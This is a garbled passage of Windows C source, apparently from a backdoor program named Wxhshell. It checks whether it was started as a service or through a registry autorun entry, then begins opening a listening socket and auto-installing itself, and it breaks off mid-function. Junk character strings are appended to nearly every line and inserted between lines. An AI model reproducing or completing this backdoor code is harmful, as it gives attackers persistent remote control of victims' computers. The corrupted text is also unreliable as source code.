ULONG InheritedFromUniqueProcessId; /^P^K
} PROCESS_BASIC_INFORMATION; ;!Ojb
T,`'qZ>
PROCNTQSIP NtQueryInformationProcess; MDGcK/$')f
J55K+
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A
WMR0I
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }sd-X`lZ
xAjLn*d|N
HANDLE hProcess; vObP(@0AM
PROCESS_BASIC_INFORMATION pbi; j<R,}nmD3\
va95/(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %R7Q`!@8
if(NULL == hInst ) return 0; b+[9)B)a?
/>FrMz8;(
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V`pTl3
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *<Fz1~%*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B[S.6"/H
7iLm_#M
if (!NtQueryInformationProcess) return 0; o-lb/=K+
)[~ #j6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \#m;L/D
if(!hProcess) return 0; g4oFUyk{
vD[@cm
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *jTr
" 5synfO
CloseHandle(hProcess); jE&kN$.7j
|Rhx&/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ty*ec%U9F
if(hProcess==NULL) return 0; % 95:yyH 0
3wX{U8mrg
HMODULE hMod; ,B5Ptf#
char procName[255]; 0{BPT>'
unsigned long cbNeeded; rf@/<Wu
<{[AG3/Zj4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h<Yn0(.
&oWWc$
CloseHandle(hProcess); Hm-+1Wx
B(:Kw;r?
if(strstr(procName,"services")) return 1; // 以服务启动 6pLB`1[v
!_?<-f(
return 0; // 注册表启动 $P866F
} 7B"J x^
0`h[|FYV
// 主模块 nbMH:UY,J
int StartWxhshell(LPSTR lpCmdLine) Jk}L+Xvv
{ P qagep d
SOCKET wsl; 69dFd!G\
BOOL val=TRUE; [{}9"zB$x0
int port=0; h|!B;D
struct sockaddr_in door; f8#WT$Ewy
6!n"E@Bwu
if(wscfg.ws_autoins) Install(); SR*%-JbA
vk5pnCM^3
port=atoi(lpCmdLine); Ua5m2&U